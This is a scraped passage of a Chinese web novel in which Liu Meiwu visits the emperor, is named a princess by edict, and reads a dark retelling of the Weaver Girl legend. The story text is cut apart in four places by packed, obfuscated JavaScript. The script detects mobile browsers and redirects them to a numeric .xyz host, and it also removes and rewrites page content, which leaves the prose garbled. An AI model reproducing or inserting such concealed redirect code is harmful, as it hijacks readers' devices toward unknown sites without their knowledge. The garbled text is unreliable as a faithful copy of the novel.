;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268992|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚且牺牲如此;顾世子身为昭明侯独子,又常年从军定远营……大姐,你想过你们成婚之后当如何相处吗?”柳半枝忽然问道,语气中暗含担忧。 “嫁夫随夫,我自当随阿义方便。若公主身份于他不是荣耀反是困扰,弃之又有何妨。”何清如语气淡然,转头看向柳眉妩,“娇娇儿,你呢?” “我觉得,我不会像大姐姐一样,不过我完全尊重大姐姐的决定;我也不想宝儿像小五一样,同样的,我也十分理解小五的选择……”柳眉妩顿了顿,声音轻如耳语,摇头叹气道,“我不知道,我明天进宫去问问大哥哥吧。” 何清如摸着她的脑袋,神色温柔,“也好,大哥哥最是疼你了。” “你们都好,都很疼我,我都记着呢。”柳眉妩揽着何清如腰身,脑袋抵在她胸前,蹭啊蹭,蹭啊蹭。似是亲昵,又似是撒娇,仿佛要把所有的迷茫不安尽数蹭去。 扑哧一声,柳半枝被她逗笑,又忍不住唏嘘感叹:“红尘纷扰,情爱无妄,还好我没有世俗的欲望。” 姐妹们又絮絮聊起旁的,话头渐转轻松。从诗词歌赋聊到重阳节的菊花诗会,又从京中贵女聊到霓裳阁的秋衣什么样式最时兴,什么颜色最不易撞衫,玉生烟新出的水玉头面如何晶莹剔透世无其二,海棠春新出了哪些香味的面脂,又出了哪些颜色的口脂,手蜜足露成套购买又是几几折,前一百位竟还买一送一。 柳眉妩重生以来久居蜀郡,与长安贵女疏离已久,乍听到这些时兴话题,只觉得又熟悉又陌生,一时竟有些无所适从,插不上话。便只是默默听她们聊得火热,恍惚坠入梦乡。 梦里,她去了东市,挑着霓裳阁的新衣、玉生烟的头面、海棠春成套的手蜜足露。老板为她打了六六折,前一百位又买一送一,柳眉妩喜不自胜,笑出声来。然而结账时,所有画面尽数碎去,只剩一只金丝鸟笼在眼前晃荡,笼门紧闭,任她如何冲撞,也撼动不了分毫。 惊醒时,天光已微明。 窗外鸟鸣啁啾,帐中香气尚未散尽。身边姐妹呼吸均匀,还睡得香甜。 她拥被坐起,心口仍堵着梦里的窒闷。窗外传来轰隆的破空声,她赤足走到窗前,看见临街官地正在大兴土木。问过丫鬟,方知是在敕建太平相府。 叶家终于可以名正言顺地称作叶府了。 柳眉妩有些感慨。 毕竟,依本朝规制,除官府外,只有王侯将相居所可以称“府”,百官称“宅”,平民则称“家”。故而叶茂无论是在碎叶还是成都,再富甲一方,也只能称作“叶家”。 如今,叶家终于可以名正言顺地称作叶府了。 * 用过早膳,何云深本想陪柳眉妩一同入宫,却被她婉拒。她便取出自己的诰命牌子给柳眉妩,方便她在宫里行走。 马车行了两刻钟,停在朱雀门前,柳眉妩从昏昏欲睡中醒来,下了车,亮了牌,执戟郎中将她恭敬请入。 宫门深深,一如往昔。 辰时四刻,算着时间大哥哥刚下早朝,此时应在长乐宫批折子,她便直奔而去。宫道漫长,红墙高耸,她的脚步声在空寂的廊道中似有回响。 松公公守在殿外,见到她,笑脸盈盈。什么都不问,便恭恭敬敬地躬身请她进去,“陛下在里面看折子呢,四公主请。” 柳眉妩匆匆的步子却顿住了。 她缓缓转身,挑眉看向一身玄色蟒纹赐服的故人。 “你叫我什么?” 38. 面圣 “如四公主。” 见柳眉妩疑惑,松公公笑着解释道:“您是晋阳侯夫人认的义女,自然就是如四公主了。” 如四公主,意为如同四公主一般,享皇家尊荣,受宗室礼遇。 却不是真的四公主。 这番解释滴水不漏,虽是意料之外,却在情理之中。柳眉妩淡淡点头,不再深究他意味深长的笑,转身往乾元殿里走去。 龙涎香扑面而来,沉寂而威仪。御案之后,东方凌风正埋头批阅奏折,听到脚步声抬头,看清是她,愣了愣,冷峻的眉目渐渐柔和下来,“娇娇儿,今日这么早就来了?” “没去见大嫂嫂,直接过来了。”柳眉妩捧着脸,笑盈盈凑近御案,眼里闪着狡黠的光,“大哥哥,你怎么认得是我?” “你说呢?”东方凌风轻笑出声,嗓音清越如玉石相击。 天高皇帝远,大哥哥尚且手眼通天,更遑论天子脚下,任何风吹草动自然瞒不过他。柳眉妩反应过来,朝他皱皱鼻子,故作高深地背起手,慢慢踱到案前。 入目是奏章,层层叠叠,分门别类地摆好,只在左手边留了块方寸地,摆着几样熟悉的茶点。 “怎么又是风枵、白云片和明前龙井?”她忍不住嘟囔,“大哥哥,这老三样你吃不腻吗?就算是大嫂嫂的家乡风物,但大嫂嫂自己的口味都换了好几遭,你怎么比她还念旧?” 柳眉妩随手拿了本看过的折子,上面絮絮叨叨写着天气冷暖云云,没什么要紧的事,故而东方凌风不曾朱笔批阅,只是晚上红袖添香时让大嫂嫂帮忙盖个“已阅”的御章罢了。 左看右看觉得无趣,索性扔下折子,信手拈一片风枵放入口中,甜香瞬间化开,又不觉腻味。 柳眉妩口齿不清地道:“我见话本子里都说,为帝为君者,当喜怒不形于色。深不可测,才能不落人把柄。大哥哥,你这样明目张胆地喜欢偏爱,很容易被有心之人钻空子利用的。” “用人不疑,疑人不用。帝王心术,在于平衡,而非藏匿。”东方凌风手中朱笔不停,声音淡而有力,“若连这点口腹之好都要遮掩,未免活得太累了些。何况,真心若是轻易就被利用辜负,又何必付出真心。” 他的眉眼随笑意舒展,不似平日剑眉入鬓的凛冽模样,却莫名有另一番萧疏狂狷的意气风发。少年帝王,也曾临危受命心茫然,如今却如鱼得水,翻手云覆手雨,已然有自己的一番经世致用之道了。 柳眉妩似懂非懂,又拿了块白云片。不得不说,御膳房的手艺确实顶尖,白云片薄如绵纸,入口极脆,甜而不腻。 “这么喜欢?再让御膳房多做些来,你带回去吃?”东方凌风抬眼瞧她,语气宠溺。 柳眉妩连连摆手,“不了不了,蹭来的吃食,滋味才最好。大哥哥若让御膳房为我做了,我就会觉得不过如此,反倒失了趣味。” 东方凌风摇头失笑,不赞同她这套孩子气的歪理,却也不和她多计较,“说吧,一大早急匆匆来找朕,所为何事?总不是专程来贪朕这几片点心的吧?” 柳眉妩当即敛了玩笑,将来意仔仔细细说明一通。东方凌风听完,不答反问道:“娇娇儿,那你觉得,应当如何?” “依我觉得,夫妻就算是同林鸟,颉颃比翼,总归是两只独立的鸟儿,没有为了另一只舍弃自己一切的道理。就像顾思义,承昭明侯爵位,世袭罔替,又多年从军定远营,战绩斐然。断没有因为要尚公主,便将他的全部身家努力一笔勾销,只给个驸马闲职的道理。” “这话是许许教你说的?”东方凌风目光微凝,带着些许探究。 柳眉妩目光飘忽,口中道:“没有,是我自己的想法。” 东方凌风默然片刻,轻叹一声:“许许生性沉稳,做事亦有章法,独独婚事上最让人放心不下。为了一个男人,封号也不要了,尊荣也不要了,殊不知金册宝印岂是儿戏,能允她说弃就弃?天家再无情,你们也是朕看着长大的妹妹,朕难道会害你们不成? “如今郎有情妾有意,自然饮水饱,可再过几年呢?年老而色衰,色衰而爱驰。待到那时,顾思义平步青云,他心中还会留存多少昔日情意?而许许一无所有,她又当如何自处?” “大哥哥!”柳眉妩打断他,语气很是不赞同,“你怎么能这么想?你一点儿也不懂爱情!” “娇娇儿,”东方凌风放下朱笔,目光沉静地看她,“确实,朕或许不懂爱情。但是,朕还不懂男人吗?” 柳眉妩语塞。 “也罢,不说许许了。”东方凌风语气一转,看着她的方向,忽然问道,“娇娇儿,你觉得杨无名如何?” 怎么突然问起杨无名了? 柳眉妩被问得猝不及防,一时愣住,慢慢皱起一张脸,神色纠结。 “你这是什么表情?”东方凌风眼底笑意更深,带着几分戏谑,“怎么?可是瞧不上朕这位年少有为的大将军?” “大哥哥,”柳眉妩歪着头,像是遇到了极大的难题,“那你觉得二哥哥如何?” 东方凌风:“?” “二哥哥是二表哥,杨无名也是二表哥。”柳眉妩皱着脸,似在搜肠刮肚怎么向他解释,“我若嫁给二表哥,好像乱/伦哦。” “原来如此……”东方凌风收回视线,忍俊不禁笑了半晌,才继续说,“娇娇儿,那便转身见过你的两位二表哥吧。” 柳眉妩:“?” 柳眉妩缓缓地、缓缓地转身望去,龙涎香熏得人面红耳赤,连呼吸都滞涩了几分。如水似玉的珠帘逶迤垂地,帘后不知何时,竟端端站了两道挺拔的身影,如苍松翠柏,明月入怀。这时闻声出来,纷纷向东方凌风行礼请安。 正是东方凌云和杨无名。 ——她的两位二表哥。 柳眉妩:“……” 不是,他俩什么时候进来的?怎么没声没响没动静呢? * 事实上,因东方凌云制止了松公公的通传,而柳眉妩背对殿门,又说得投入,所以不曾注意两人进来了。东方凌风端坐御椅,却看得清楚,几乎是第一时间便发现了,甚至还使眼色让他们避在珠帘后看热闹。 东方凌云依言做了,却并非专程过来看她热闹,而是有要事禀告。柳眉妩也是猜到了这一点,朝两人见了礼后,又转头看向东方凌风,眨巴眨巴眼睛。 “娇娇儿,去找大嫂嫂玩吧,我们一会儿就来陪你。”东方凌风却没准她旁听。 柳眉妩努努嘴,福身行了礼,闷闷打着帘子出去了。 待她的身影消失在宫殿,朱红殿门缓缓阖拢,东方凌风才将目光转向杨无名,开口道:“太平相府今日开始修造,少说也要半年才能竣工。将军府虽有专人打扫,但年久失修,器物难免陈旧,还需仔细查验,妥善修葺。再者,一应家具陈设、仆从婢女,也要时间添置,又需月余光景。这段时间,说长不长,说短也不短,你和叶相若是一直住在客栈,到底不是长久之计。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281264|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他略作停顿,目光扫过一旁静立的东方凌云,继续道:“不如一起搬到逍遥府上小住,彼此也有个照应。” 杨无名有些犹豫。 “竹姑娘那边你无需挂心,娇娇儿肯定会把她接去晋阳侯府,好吃好喝地招待,如今主要是看你和叶相住哪儿。当然,如果你们不愿意来,去东市买个雅致院子也是可以的。只是如此一来,上下朝可能就不太方便了。”东方凌云动之以情,晓之以理。 上朝时辰极早。圣人五更天听政,臣子则要更早些,通常寅初时分就列队候在金銮殿外了。而若要寅初就候在殿外,算上车驾时间,算上步行时间,再算上梳洗用膳时间,丑时便需起身。 逍遥王府是最方便的,不过一炷香便可直达金銮殿。可若要从东市入宫,路上便要半个多时辰,再加上其余琐碎时间,便要起得更早了。 思忖片刻,杨无名伏地叩首,领了天子美意:“臣,谢主隆恩。” 一桩事毕,杨无名识趣告退,打开殿门时却发现柳眉妩还守在殿外,见到他更是惊得险些跳起来。 她故作镇定,手忙脚乱地理了理凌乱的鬓发,尴尬又不失礼貌地笑了笑:“二表哥,你这么快就出来啦。大哥哥和二哥哥呢,他们还没说完吗?” 而此时,一门之隔的乾元殿内,两兄弟确实说着柳眉妩心心念念的话题—— “我之前见那图腾便觉得眼熟,一时又想不起来。方才老二传来确切消息,前朝以火德自居,崇尚赤色,可不就是焰火图腾?” “若只是寻常死士行刺,手段再狠辣,终归不过一桩命案;可若牵扯到前朝复辟,那便是动摇国本、危及社稷。”东方凌风指尖轻敲御案,眸色沉沉,“让老二继续查,务必揪出幕后主使,查明他们意欲何为。一有进展,无论巨细,即刻呈报于朕。” “臣弟遵旨。”东方凌云肃然应道。 殿内气氛肃穆,暗流涌动。而殿外的松公公却含笑垂手侍立一旁,仿佛不曾看见柳眉妩方才扒着门缝偷听的僭越之举,只是目不斜视地向杨无名躬身行礼,“大将军。” “陛下和王爷还有要事相商,我不方便旁听,便出来了。”杨无名顿了顿,又好奇问道,“灵儿,你这是……” 柳眉妩干笑一声,一本正经地胡说八道:“方才腿软,一时没站稳,险些摔倒,好在扶住了门……岁寒也瞧见了,是吧?” 松公公从善如流,笑容可掬地附和:“正是,奴才正要去扶四公主呢,大将军就出来了。” “我突然想起还有事,就先走啦,晚些再去找你和竹姐姐,二表哥再见。”柳眉妩语如连珠,挥挥手,不等杨无名再问,提着裙子飞快跑了。 深宫寂寥,风也无聊,将她一连串的欢快笑音吹得又清又脆,萦在耳畔,绕之不去。杨无名后知后觉,灵儿好像哪里不一样了,一时又说不出来。 他向松公公颔首回礼,出了长乐宫,缓步向朱雀门行去,沿途宫婢躬身相送,行礼不绝。长风送来秋意,两旁花木扶疏,他在缤纷落英里驻步,忽然茅塞顿开。 他好像知道灵儿哪里不一样了。 在成都的她,好似刻意隐忍一般,虽说乖巧又举止乖张,但说不合规矩又确实合乎礼数。如今到了长安,分明人生地不熟,她却好似鱼回故渊,鸟归旧林,自然天性展露无遗。 想通此节,他继续迈步向前,心中一片了然。 原来,这才是她的本来面目。 有些别致的可爱。 39. 圣旨 柳眉妩到未央宫时,梅皇后正歪在紫檀木榻上看书,忽而蹙眉凝思,忽而扼腕叹息,唏嘘不已。见她来了,面上显出柔和的笑意,招手唤她近前。 柳眉妩请了安,顺势凑过去问道:“大嫂嫂在看什么?这般入神。” 梅皇后合上小书,柳眉妩瞥见书封上赫然题着“织女传”三字,笔迹清骨风流,似曾相识,下有一行小字注着——晋江书局远行客。 “是二姐姐的新书!”柳眉妩惊呼出声,“牵牛织女遥相望,尔独何辜限河梁。大嫂嫂,你是在为他们不能长相守而叹气吗?” “非也,这可不是一般的织女传。” 梅皇后摇头,却不多说,只是把织女传递与柳眉妩,自己慢条斯理地吃案上新做的蟹黄糕。素琴燃了降真香,篆烟袅袅如雾,帘外的竹叶沙沙作响。 仿佛过了许久,又仿佛只过了片刻,柳眉妩合上书页,怔愣半晌无言。她总算明白了,为何大嫂嫂断言这不是一般的织女传,也由衷惊叹二姐姐惊世骇俗的故事新编。 “二姐姐还真是,语不惊人死不休。不过仔细想来,织女贵为天帝孙女,牛郎不过一介凡夫,两人之间,又岂止是云泥之别?那般一无是处的男子,若不用些下作法子,如何能让天上的仙女甘心下嫁?” “正是此理。那些酸腐书生惯会臆想,又善用情之一字诓人,编些才子佳人的传奇话本,专骗不谙世事的狐妖仙女。可若真要谈情说爱,织女大可以寻到更好更相配的如意郎君,如何会瞎了眼嫁给一个窃衣偷裳的登徒子?” “大嫂嫂说得是!”柳眉妩拍案叫绝,“牛郎设计,用天衣强娶织女,哄骗她生儿育女之后,又言而无信,不问自取,偷拿衣上的珠宝去典当,实在是可恶至极!所以最后落了个子女被掐死、而自己被剥皮的下场,也算因果循环报应不爽,咎由自取大快人心了!” 柳眉妩语气激动,说完犹不解气,又冷笑嗤道:“诡计多端的穷男人!” 梅皇后听她慷慨陈词,好笑地摸了摸她脑袋,“你呀你,小小年纪,在哪里学来这些精致的淘气?” 柳眉妩吐了吐舌头,正要说话,忽听门外素琴高声道:“参见国舅大人。” 两人对视一眼,忙藏好织女传,敛衣端坐,恢复雍容姿态。不多时,便见梅国舅昂首阔步,进了殿来。他身后的丫鬟鱼贯而入,垂头端着各色玉屉,其上珍宝横陈,耀人眼目。 “阿兄。”梅皇后欢喜叫人,起身相迎。 “娘娘万福金安。”梅国舅躬身行礼,礼仪周全,而后抬头望向与梅皇后相对而坐的柳眉妩,目光如炬,“这位是?” “这是叶相的千金,姨母认作义女,便是我半个妹子,这会儿过来陪我说话解闷的。”梅皇后笑着解释,语气亲昵。 梅国舅面上凛色稍霁,转而浮起另一抹别有深意的笑,“原来是叶小姐。” “灵儿见过国舅。”柳眉妩被他看得头皮发麻,垂下眼睫,只盯着他一片勾金刺银的紫色衣角出神。 她与梅国舅并不熟。他虽是大嫂嫂的亲哥哥,却不似大嫂嫂温和含笑,待人亲善。总是冷着一张脸,不怒自威,特立独行,周身散发着生人勿近的凛冽气息,无怪乎年近而立却还是孤身一人。 柳眉妩垂目暗诽,梅国舅的视线便若有若无地落在她身上,流转打量,半晌才缓缓出声道:“叶小姐自蜀郡来,受了不少惊吓吧。听闻那里新娘枯尸案闹得沸沸扬扬,京中也多有耳闻,无不提心吊胆。” “承蒙国舅关心,王不留行已伏诛,不足为惊。”柳眉妩回话,似是而非,滴水不漏。 梅国舅闻言,笑意更深,语带玄机:“这是自然。王爷英明神武,功不可没。” 柳眉妩只是笑,不再接话。 殿内有一瞬的冷场,梅皇后笑着转圜气氛:“阿兄这次从钱塘回来,一路上奔波劳累,怎么不在府中多歇息几日?” “臣带了些小玩意儿回来,特地拿给娘娘瞧瞧,不知可有入了娘娘眼的。”梅国舅招手,唤来丫鬟上前。 为首的白玉屉上是一只八瓣秘色瓷盏。釉面青绿,剔透如冰,玲珑似玉。乍一看,便如九秋风露,千峰翠色,又像明月染春水,薄冰盛绿云,美得不可方物。 “娘娘爱茶,这套越窑秘色瓷盏用来品茗最合适不过。可惜这次回得仓促,只带了些天目青顶和桐庐雪水云,娘娘还有其他喜欢的茶叶,尽管吩咐,臣再派人去采买。” 梅皇后笑道:“多谢阿兄,已经够了。我很喜欢。” 她从榻上起身,缓步欣赏各色玉屉,忽然停住步子,拿起青玉屉上的一把西湖纨扇细看。扇面是湖色丝绸,绣着合欢同心的并蒂莲,观音竹柄穿了孔,绕有祥云玉坠,另有梅花玉坠一旁备用。做工精巧,寓意美好,梅皇后反复赏玩,越看越喜欢,当即爱不释手。 见者有份,她赏了柳眉妩一枚芙蓉玉坠子,另为何清如择定一把黄杨木梳,为柳半枝备下一方雪梅砚,又为柳色新挑了一匹云纱越罗。兄妹两人闲话家常,气氛融洽,柳眉妩却如坐针毡,只好寻了个借口溜走,径去东市仙客来找竹悠然。 * 竹悠然正和杨无名临窗对弈。 黑子步步为营,白子循循善诱,方寸棋盘上,勾心斗角,风云变幻,却是一模一样的弈棋思路。 柳眉妩自坐下便忍不住指指点点,一会儿说“二表哥这步棋走得妙极”,一会儿又说“竹姐姐这里该下一子了”,口若悬河,手舞足蹈,听得杨无名扶额无奈,竹悠然也哭笑不得。 两人对视一眼,默契停手。竹悠然拿了块茶酥递到柳眉妩口中,柔声提醒道:“灵儿,观棋不语真君子。” 柳眉妩吐了吐舌头,嘿嘿笑了两声,开门见山道:“竹姐姐,我是专程来找你的,你和我一同搬去晋阳侯府住吧。姐妹们聚在一处,总比你独居客栈热闹,我也好时时寻你玩。” “可我除了与大公主相识,对其余几位公主并不相熟,贸然打扰,怕是不好。”竹悠然有些担忧,语带迟疑。 “大姐姐好相处,二姐姐和三姐姐也一样,竹姐姐你不必担心。”柳眉妩拉住她的手,语气恳切,“再说了,还有我嘛!你是我叫来长安玩的,我肯定要带你吃好喝好玩好,方才不虚此行!” “这般自信,灵儿对长安很熟悉吗?”竹悠然笑着问道。 “大姐姐熟悉便够了,我们跟着她玩。”柳眉妩狡黠一笑,朝竹悠然挤了挤眼睛,模样娇俏可爱。 竹悠然推脱不得,只好笑应下来,“如此,多谢灵儿盛情,那我就恭敬不如从命了。” 她起身去收拾细软时,柳眉妩和杨无名面面相觑,随口问道:“不知道二表哥打算住哪里呢?若是长住仙客来,上下朝怕是不方便。” “陛下恩典,我与叶姨父叨扰王爷府中。” “那很方便。” 两人又絮絮闲聊起来。柳眉妩说起棠棣林听到的红袖招计划,杨无名也告诉了她宝儿的近况。 “昨夜通明殿之宴,宗侯爷在,宝儿不在。今日你问了我后,我特意去乐善侯府探访,依旧是宗侯爷接见了我。他说宝儿宿醉未醒,不便见客,我也不好强求。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284742|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳眉妩点头,心中了然。 * 待竹悠然收拾好细软,三人一同出门,杨无名备车送她们。目送两人相携下了车,欢快进了府,又站在门口朝他招手时,他才放下车帘,吩咐马夫掉头往王府去。 柳眉妩先带竹悠然见过何云深,才回新月馆,姐妹几个早已在房中等她了。柳眉妩为竹悠然介绍了柳半枝和柳色新,又向两人介绍了竹悠然。姐妹几个年纪相仿,又都是爽利性子,很快便熟络起来,言笑晏晏,好不热闹。 “咦,娇娇儿,这是什么?”柳色新眼尖,指着妆镜台上一个包装精致的礼盒问道。那盒子用上好的紫檀木制成,上面雕着精美的花纹,还嵌着小巧的珍珠,显得格外贵重。 “二表哥方才送的。” “杨无名的礼,不知会送什么呢?”柳色新好奇,得了柳眉妩许可,迫不及待拆了包装,随即撇嘴道,“怎么是一本医书呀,真是个榆木脑袋!送礼哪有送这个的?” “人命至重,有贵千金,一方济之,德逾于此。”柳半枝吟完,又向柳眉妩笑道,“娇娇儿,大将军知你身子弱,送你医书,也算对症下药,费了一番心思的。” 她的目光落在千金方上,带着几分赞许。 “是费了心思,但不多。他要送礼,就应该送霓裳阁的衣裳,玉生烟的珠宝,或者海棠春的胭脂嘛。”柳色新说得振振有辞。 几人听得摇头失笑,柳眉妩也不以为然。杨无名一共送了她两次礼,一次是望舒,一次是千金方,次次都送到了她的心坎儿上。 叶灵儿身虚体弱,他便送她望舒强身健体,又送她千金方治疗调理,无不是投她所好,送她所需。如此想了一通,自己确实应该寻个时间好好答谢这个二表哥才是。 竹悠然忽然笑道:“灵儿,师弟对你真上心。这本千金方原是师父送与师弟的,你看,这里还有师父的私章呢。” 她指着千金方的扉页,眼中带着几分怀念。 柳眉妩垂目看去。葱白指尖点在泛黄扉页上,那里印了个状如梅花的镂空红章,却空无一字。 原来,红袖散人的私章便是朵红梅。 这谁猜得出呀! * 晚膳时分,如意姑姑着人来请,待姐妹几人携手到膳厅时,肴馔已布齐,灯烛正辉煌,满室生香。何云深端坐上位,看着济济一堂的女儿们,欣慰道:“人来齐了,今晚上可要热闹了。” “娘亲久等了,我自罚三杯。”柳眉妩说着,就要丫鬟拿酒来。 “娇娇儿,不许奖励自己!”柳色新好笑地拦住她,顺手为她倒了杯温茶,“喝酒伤身,还是喝茶吧。” 柳眉妩也不忸怩,举杯笑道:“那我以茶代酒,饮胜!” “饮胜!” 众人齐声应和,欢声笑语盈满厅堂。 正是宾主尽欢的时候,忽听门外远远传来一阵骚动,骚动中清晰溢出的尖细嗓音正拖长了音唱道:“圣旨到,太平相府叶灵儿接旨——” 众人闻言,连忙起身,纷纷跪倒一地。不多时,便见宫里的内侍宫婢和府里的小厮丫鬟簇拥着穿玄色蟒纹宫服的松公公疾步而来,手中高举的明黄圣旨熠熠生辉,若有神光。 柳眉妩上前一步,伏地道:“臣女接旨。” 松公公缓缓展卷,扬声念道:“奉天承运皇帝,诏曰:兹太平相府叶灵儿,懿淑天资,贤明神助,动合诗书图史之戒,静中珩璜琚瑀之节,宜登显秩,以表令仪。今特封为灵丘公主,赐金册,敕造府邸,享千金食禄。徽章载茂,玉服增崇,永绥后禄。钦此!” 40. 织女传 天河之东有织女,行三,天帝之孙也。年年机杼,织成云雾绢缣之衣,劳碌无欢,容光不暇理,然殊色绝世,见之忘俗。 三月,女下凡,寻春色,欲织山水天衣贺帝寿。时山色空蒙,水光浅淡,女解霜罗之帔,卸玄绡之衣,浴乎渭,风乎乐游。忽有郎牵青牛过,目视之,叹若惊鸿,呆若木鸡。 女叱曰:“竖子无礼,休得胡看!” 对曰:“我死也!娘子仙姿玉色,情难自禁。” 女静如雪山亭亭,动如水玉滟滟,翩若惊鸿之影,婉若游龙之形。遥而望之,面似明月,辉比朝日;迫而察之,色胜莲葩,肌赛凝蜜。 忽青牛衔天衣遁去,女惶然入水,掩面泣曰:“郎君怜我!我乃天之织女,衣是云锦天衣,衣不可失,失则死罪,毁之亦不免剔骨除髓。” 言讫,唏嘘流涕,悲不自胜。 郎窃笑而揖曰:“娘子怜我!我早失怙恃,兄嫂苛待,终岁饥寒,唯与牛相伴,人呼牛郎。贫窭未能娶,娘子若肯嫁我,必还天衣。” 女含羞应曰:“愿嫁郎君,请还天衣。” 遂择吉成礼,烛影摇红,四壁萧然。既结褵,郎复笑曰:“娘子怜我!年二十有八,尚虚子嗣,若得麟儿,必还天衣。” 女泫然应曰:“愿为君育子,请还天衣。” 逾岁生男,郎又谢曰:“娘子怜我!若再得明珠,必还天衣。” 女抚儿泣曰:“愿为君育女,请还天衣。” 又一年生女,女诘天衣,郎支吾不应,推脱再四。女怒而绝乳,郎不得已乃出衣。然云锦皴皱,珠玉黯堕,天衣百孔,光华尽失。 女勃然叱曰:“竖子欺我!天衣本非针线为,何故千疮百孔?” 对曰:“娘子怜我!家贫子幼,瓶无储粟,耕不足食。青牛有灵,语我以牛皮坏天衣经纬,鬻珠玑为生计。” 女厉声曰:“竖子害我!陷我死地!” 郎绐之曰:“我爱娘子!欲与娘子生生世世不离,此不得已而为之。” 女恚怒方甚,掐子女气绝犹未解恨,复剥郎皮以补天衣,终复无缝。然人皮有时,一岁一老,故年年代以新者。 遂囚郎于天河之西,每至七夕,使鹊为桥,复剥其皮补衣。机杼昼夜不绝,年年疲倦,念之泪落如雨。 * 有人居海渚者,与天河通,不知名姓,且称之无名氏。无名氏少有奇志,知八月有浮槎去来,不失期,遂立飞阁于槎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284743|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,多赍粮,乘之而去。十余日中,犹观日月星辰,而后茫茫忽忽,不知今夕何夕。 行十余月,忽至一处,见天河澹澹,循岸而行,忘路远近。俄见玉楼十二,仙城五重,阡陌交通,鸡犬相闻。 遥见宫中有女织素,不闻机杼声。复有郎牵牛饮河,皆掩泣呜咽。 无名氏揖问其故,女泣不应。 复问:“此何处耶?” 对曰:“可至上京问远行客。” 女取榰机石与之还,无名氏遂赋诗曰: 迢迢牵牛星,皎皎河汉女。 纤纤擢素手,札札弄机杼。 终日不成章,泣涕零如雨。 河汉清且浅,相去复几许。 盈盈一水间,脉脉不得语。 后至上京,问远行客。客曰:“某年月日,有客星犯牛女。” 计年月,正无名氏到天河时。所得榰机石,亦为远行客所识,并其证焉。 * 远行客素有仙道,尝谓其弟曰:“七月七日织女当渡河。” 弟曰:“何事渡河?” 答曰:“无他,唯诣牛郎耳。” 故世传牛郎织女之事,而知其所以然者鲜也。